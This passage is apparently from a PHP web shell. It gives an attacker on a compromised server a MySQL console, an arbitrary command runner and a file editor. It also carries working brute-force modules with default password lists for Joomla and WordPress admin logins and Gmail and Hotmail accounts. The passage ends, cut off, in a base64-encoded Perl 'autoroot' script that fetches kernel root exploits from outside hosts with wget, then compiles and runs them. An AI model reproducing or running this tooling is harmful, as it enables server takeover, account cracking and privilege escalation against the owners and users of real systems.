<td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD MYSQL</b></font></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">user</font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_l" type="text"></font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">pass</font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_p" type="text"></font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt">database</font></td>
<td valign="top" bgcolor="transparent"><font face="Tahoma" color="#007700" size="2pt"><input name="mysql_db" type="text"></font></td>
</tr>
<tr>
<td valign="top" bgcolor="transparent" style="height: 25px; width: 139px;">
<font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
<td valign="top" bgcolor="transparent" colspan="5" style="height: 25px">
<font face="Tahoma" color="#007700" size="2pt">
<br><textarea class="area" name="db_query" cols="90" rows="5">SHOW DATABASES;
SHOW TABLES user_vb ;
SELECT * FROM user;
SELECT version();
SELECT user();</textarea></font></td>
    	</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><strong></strong></td>
    <td valign="top" bgcolor="transparent" colspan="5"><strong><input type="submit" value="run"></strong></td>
    	</tr>
<input name="db" value="MySQL" type="hidden">
<input name="db_server" type="hidden" value="localhost">
<input name="db_port" type="hidden" value="3306">
<input name="cccc" type="hidden" value="db_query">
    	
</form>    	
		<tr>
    <td valign="top" bgcolor="transparent" colspan="6"><strong></strong></td>


		</tr>
		
<form method="POST" target="_blank">
		<tr>
    <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>CMD 
	system - passthru - exec - shell_exec</b></font></td>
    				</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">cmd ~</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
					<select name="att" dir="rtl"  size="1"></center>
\';
if($_POST[\'att\']==null)
{
echo \'						<option value="system" selected="">system</option>\';
}else{
echo "						<option value=\'$_POST[att]\' selected=\'\'>$_POST[att]</option>
						<option value=system>system</option>
";

						
}
echo \'<option value="passthru">passthru</option>
						<option value="exec">exec</option>
						<option value="shell_exec">shell_exec</option>
					</select>    

<input name="page" type="hidden" value="ccmmdd">    
	<input name="ccmmdd2" type="text" style="width: 284px" value="ls -la"></td>
    	</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"></td>
    <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="go"></td>
    	</tr>
</form>    	    	

<form method="POST" target="_blank">

		<tr>
    <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Show 
	File And Edit</b></font></td>
    				</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Path ~</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
	
	<input name="pathclass" type="text" style="width: 284px" value="/home/path/"></td>
    	</tr>
		<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"></td>
    <td valign="top" bgcolor="transparent" colspan="5"><input type="submit" value="show"></td>
    				</tr>
<input name="page" type="hidden" value="show">        				
</form>    				
					<tr>
    <td valign="top" bgcolor="transparent" class="style1" colspan="6"><font face="Tahoma" color="#007700" size="2pt"><br><b>Info 
	Security</b></font></td>
    				</tr>
    	<tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Safe Mode</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
	<font face="Tahoma" color="#007700" size="2pt">\';
	$safe_mode = ini_get(\'safe_mode\');
if($safe_mode==\'1\')
{
echo \'<b><font face="Tahoma" color="#ff0000" size="2pt">ON</font></b>\';
}else{
echo \'<b><font face="Tahoma" color="#b0b000" size="2pt">OFF</font></b>\';
}
echo \'</font>	
	</td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"><font face="Tahoma" color="#007700" size="2pt">Function</font></td>
    <td valign="top" bgcolor="transparent" colspan="5">
	\';
	if(\'\'==($func=@ini_get(\'disable_functions\')))
{
echo "<b><font face=\'Tahoma\' color=\'#b0b000\' size=\'2pt\'>&nbsp;No Security for Function</font></b>";
}else{
echo \'<script>alert("Please see below and press >Please Click Here First!");</script>\';
        echo \'<b><font face="Tahoma" color="#ff0000" size="2pt">$func</font></b>\';
        echo \'<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>\';
        echo \'<td valign="top" bgcolor="#151515" colspan="5"><input type="submit" value="Please Click Here First!">
    
    </td></tr>\';
	
    }
	echo \'
    <tr>
    <td valign="top" bgcolor="transparent" style="width: 139px"></td>
    <td valign="top" bgcolor="transparent" colspan="5"></td>
    </table>
    </td>
    </tr>
    </table>
	<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body></body></html>
<form style="border: 0px ridge #FFFFFF">
    <p align="center"></td>
  </tr><div align="center">
                <tr>
<input type="submit"   name="user" value="Generate User"><option value="name"></select>
</form>
<div align="center">
 <table border="0" width="10%" bordercolorlight="#007700" bordercolordark="#007700" height="100" cellspacing="5">
<tr>
<td bordercolorlight="#007700" bordercolordark="#007700">
<p align="left">
<textarea  class="area" method="POST" rows="10" name="S1" cols="96">\';
if ($_GET[\'user\'] )


      system(\'ls /var/mail\');





                                           for($uid=0;$uid<90000;$uid++){

                                        }
										
echo \'</textarea>\';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'jmbru\'){
echo \'<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Joomla Brute Force</span></center><br>\';
echo \'<font face="Tahoma" color="#007700" size="2pt"><form action="?y=<?php echo $pwd; ?>&amp;x=jbrute" method="post">

<center>
<form method="post" action="" enctype="multipart/form-data"> 
<table class="tabnet" width="38%" border="0">
<tr><td><p ><font face="Tahoma" color="#007700" size="2pt">User :</font></th>
<input class="area" type="text" name="usr" value="admin" size="15"> </center><br /><br /></p>
</td></tr>
<tr><td><font face="Tahoma" color="#007700" size="2pt">Sites list :</font> 
</td><td><font face="Tahoma" color="#007700" size="2pt">Pass list :</font></td></tr>
<tr>
		<td><font face="Tahoma" color="#007700" size="2pt">
<textarea class="area" name="sites" style="background:transparent;" cols="40" rows="13" ></textarea>
</td><td>
<textarea class="area" name="w0rds" style="background:transparent;" cols="40" rows="13" >\';
echo \'admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^\';
echo \'</textarea></font>
</td></tr><center><tr><td>
<br><input class="inputzbut" type="submit" name="x" value="Start Now" id="d4"> 
</td></tr><br></table>
</form></center>\';
 
@set_time_limit(0); 

if($_POST[\'x\']){ 

echo "<hr>"; 

$sites = explode("
",$_POST["sites"]); // Get Sites 
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt 

$Attack = new Joomla_brute_Force(); // Active Class 


foreach($w0rds as $pwd){ 

foreach($sites as $site){ 


$Attack->check_it(txt_cln($site),$_POST[\'usr\'],txt_cln($pwd)); // Brute :D 
flush();flush(); 

} 

} 

} 


# Class & Function\'z 

function txt_cln($value){  return str_replace(array("
","
"),"",$value); } 

class Joomla_brute_Force{ 

public function check_it($site,$user,$pass){ // print result 

if(eregi(\'com_config\',$this->post($site,$user,$pass))){ 

echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href=\'$site/administrator/index.php\'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f); 
flush(); 
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();} 

} 

public function post($site,$user,$pass){ // Post -> user & pass 

$token = $this->extract_token($site); 

$curl=curl_init(); 

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); 
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,\'username=\'.$user.\'&passwd=\'.$pass.\'&lang=en-GB&option=com_login&task=login&\'.$token.\'=1\'); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

public function extract_token($site){ // get token from source for -> function post 

$source = $this->get_source($site); 

preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token); 

return $token[1][0]; 

} 

public function get_source($site){ // get source for -> function extract_token 

$curl=curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); 
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

} 
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wpbru\'){
echo \'<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Wordpress Brute Force</span></center><br>\';
echo \'<form action="?y=<?php echo $pwd; ?>&amp;x=wpbrute" method="post">
<center><br>
<form enctype="multipart/form-data" method="POST">
<table width="624" border="0" class="tabnet">
<tr>
<td >&nbsp;</td>
<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Hosts:</font></p></td>
<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Users:</font></p></td>
<td ><p><font face:Tahoma, Geneva, sans-serif; color="#007700" size="2pt">Passwords:</font></p></td>
</tr>
<tr>
<td>&nbsp;</td>
<td ><textarea class="area" style="background:transparent;" name="hosts" cols="30" rows="10" >\';
if ($_POST) {
echo $_POST[\'hosts\'];
} echo \'</textarea></td>
<td ><textarea class="area" style="background:transparent;" name="usernames" cols="30" rows="10"  >\';
if ($_POST) {
echo $_POST[\'usernames\'];
} else {
echo "admin";
} echo \'</textarea></td>
<td><textarea class="area" style="background:transparent;" name="passwords" cols="30" rows="10"  >\';
if ($_POST) {
echo $_POST[\'passwords\'];
} else {
echo \'admin
administrator
123123
123321
123456
1234567
12345678
123456789
123456123456
admin2010
admin2011
password
P@ssW0rd
!@#$%^
!@#$%^&*(
(*&^%$#@!
111111
222222
333333
444444
555555
666666
777777
888888
999999\';
} 
echo \'</textarea></td>
</tr>
<tr><td colspan="4"><center><br><input class="inputzbut" type="submit" name="submit" value="Brute Now"  /></center>\';

if ($_POST) {
$hosts = trim(filter($_POST[\'hosts\']));
$passwords = trim(filter($_POST[\'passwords\']));
$usernames = trim(filter($_POST[\'usernames\']));
if ($passwords && $usernames && $hosts) {
$hosts_explode = explode("
", $hosts);
$usernames_explode = explode("
", $usernames);
$passwords_explode = explode("
", $passwords);
foreach ($hosts_explode as $host) {
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://", "https://", "www."), "", trim($host));
$host = "http://" . $host;
$wpAdmin = $host . \'/wp-admin/\';
if (!url_exists($host . "/wp-login.php")) {
echo "<p>" . $host . " => <font color=\'red\'>Error In Login Page !</font></p>";
ob_flush();
flush();
continue;
}
foreach ($usernames_explode as $username) {
foreach ($passwords_explode as $password) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $host . \'/wp-login.php\');
curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri&#8207;" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
$login = curl_exec($ch);
if (eregi("profile.php", $login)) {
$hacked = 1;
echo "<p>" . $host . " => UserName : [<font color=\'#b0b000\'>" . $username . "</font>] : Password : [<font color=\'#b0b000\'>" . $password . "</font>]</p>";
ob_flush();
flush();
break;
}
}
if ($hacked == 1) {
break;
}
}
if ($hacked == 0) {
echo "<p>" . $host . " => <font color=\'red\'>Failed !</font></p>";
ob_flush();
flush();
}
}
} else {
echo "<p><font color=\'red\'>All fields are Required ! </font></p>";
}
}
echo \'</td></tr>
</table></form></center>\';
function url_exists($strURL) {
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, \'curlHeaderCallback\');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close($resURL);
if ($intReturnCode != 200) {
return false;
} else {
return true;
}
}
function filter($string) {
if (get_magic_quotes_gpc() != 0) {
return stripslashes($string);
} else {
return $string;
}
}
function RemoveLastSlash($host) {
if (strrpos($host, \'/\', -1) == strlen($host) - 1) {
return substr($host, 0, strrpos($host, \'/\', -1));
} else {
return $host;
}
}
echo "</p>";
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'ghbru\'){
echo \'<center><b class="conte">
<a href="?action=skybru">Skype Brute Force</a> -
<a href="?action=cpbru">Cpanel Brute Force</a> -
<a href="?action=jmbru">Joomla Brute Force</a> -
<a href="?action=wpbru">Wordpress Brute Force</a> -
<a href="?action=twbru">Twitter Brute Force</a> -
<a href="?action=ghbru">Gmail & Hotmail Brute Force</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Gmail & Hotmail Brute Force</span><center>\';

set_time_limit(0); 
error_reporting(0); 
         
class s1{ 
         
private $adres = array( 
\'gmail\' => \'{imap.gmail.com:993/imap/ssl}\', 
\'hotmail\' => \'{pop3.live.com:995/pop3/ssl}\' 
); 
private $imap;         
function __construct($gelen1,$gelen2){ 
                 
$uname     = explode("
",$gelen1);     
$pwd     = explode("
",$gelen2);     
foreach($pwd as $pass){ 
$pass = trim($pass); 
foreach($uname as $user){ 
$user = trim($user); 
                                 
if(preg_match(\'@gmail@si\',$user)){ 
$this->baglan($this->adres["gmail"],$user,$pass); 
}else{ 
$this->baglan($this->adres["hotmail"],$user,$pass); 
} 
} 
} 
}     
                 
public function baglan($url,$user,$pass){ 
                 
$this->imap = imap_open($url,$user,$pass); 
if($this->imap){ 
echo "<span id=\'cikti\' >$user => $pass </span><br />"; 
} 
} 
function __destruct(){ 
             
imap_close($this->imap); 
             
} 
} 
         
echo \'<br /> <center><div id="form"> 
<form id="form" method="POST" > 
<textarea class="area" name="mail" rows="20" cols="28">Put Emails You Want To Cracker here ^_^</textarea>  
<textarea class="area" name="sifre" rows="20" cols="28">Put Your Password List Here ^_^</textarea> <br /> <br />
<input type="submit" id="submit" value="Brute !" /> 
</form><br> 
</div> 
<div id="sonuc"> \';
        
         
if($_POST){ 
$mails = $_POST["mail"]; 
$sifre = $_POST["sifre"]; 
             
if((isset($mails)) and (isset($sifre))){     
$s1 = new s1($mails,$sifre); 
} 
} 
         
echo \'</center></div> \';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'w00ts\'){
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Autoroot Generator Coded By Mauritania Attacker</span><center><br>\';
echo\'<center><font color="#006600" size="2pt"><b>Special Greet To HusseiN98D</b><font/></center><br>\';
echo"<p align=\'center\'> <img border=\'0\' src=\'http://www.spirit-of-metal.com/les%20goupes/R/Root/pics/logo.jpg\'></p><br>";
echo\'<div class="tul"><font color="007700" face="Geneva, sans-serif" style="font-size: 11pt"><font/>\';


@error_reporting(0);

sleep(2);

echo "<p><b>Script Autoroot Perl Extracted Successfully.... \!/ </b></p><br>";
//generate autoroot script perl
mkdir(\'lulZ\',0755);
$shellw0rm = \'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KcHJpbnQgIiAgICAgICAgIEFub25HaG9zdCBTbTRzaCBhdXRvIHIwMHQgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgMjAwNSAtIDIwMTMgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOw0KcHJpbnQgIiAgICAoICBfX19fICkoICBfXyAgICkoICBfXyAgIClcX18gICBfXy8gICAgXG4iOw0KcHJpbnQgIiAgICB8ICggICAgKXx8ICggICkgIHx8ICggICkgIHwgICApICggICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICAgICBfXyl8ICgvIC8pIHx8ICgvIC8pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8IChcICggICB8ICAgLyB8IHx8ICAgLyB8IHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOw0KcHJpbnQgIiAgICB8LyAgIFxfXy8oX19fX19fXykoX19fX19fXykgICApXyggICAgICAgXG4iOw0KcHJpbnQgIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJCQkgICAgIDE5LzA4LzIwMTQJCSAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IGxpbnV4ICwgcGVybCAkMCBsbnggICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOw0KcHJpbnQgIgkJICBUbyByb290IFN1bk9TICwgcGVybCAkMCBzdW5vcyAgICAgICAgXG4iOw0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0KDQoNCmlmICgkQVJHVlswXSA9fiAibG54IiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBsbng7Y2QgbG54Iik7DQpwcmludCAiWytdIFdhaXQuLlxuIjsNCg0Kc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IGdheXJvcyIpOw0Kc3lzdGVtKCIuL2dheXJvcyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgd3d3LnR1eC1wbGFuZXQuZnIvcHVibGljL2hhY2svZXhwbG9pdHMva2VybmVsL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdC5jIik7DQpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCIuL3Ztc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L3gyIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOw0Kc3lzdGVtKCIuL3gyIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngveCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgeCIpOw0Kc3lzdGVtKCIuL3giKTsNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvdXNlbGliMjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVzZWxpYjI0Iik7DQpzeXN0ZW0oIi4vdXNlbGliMjQiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOw0Kc3lzdGVtKCJjaG1vZCA3Nzcgcm9vdDIiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCIuL3Jvb3QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2ttb2QyIik7DQpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOw0Kc3lzdGVtKCIuL2ttb2QyIik7DQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290LzIuNi54L2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7DQpzeXN0ZW0oIi4vaDAwbHlzaGl0Iik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZXhwLnNoIik7DQpzeXN0ZW0oImNobW9kIDc1NSBleHAuc2giKTsNCnN5c3RlbSgic2ggZXhwLnNoIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBlbGZsYmwiKTsNCnN5c3RlbSgiLi9lbGZsYmwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9jdzcuMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsNCnN5c3RlbSgiLi9jdzcuMyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0yNzQtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMTEgTG9jYWxSb290IEZvciAyLjYuMTgtMTI4LmVsNSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oIi4vMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzMiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMyIpOw0Kc3lzdGVtKCIuLzIuNi4zMyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTF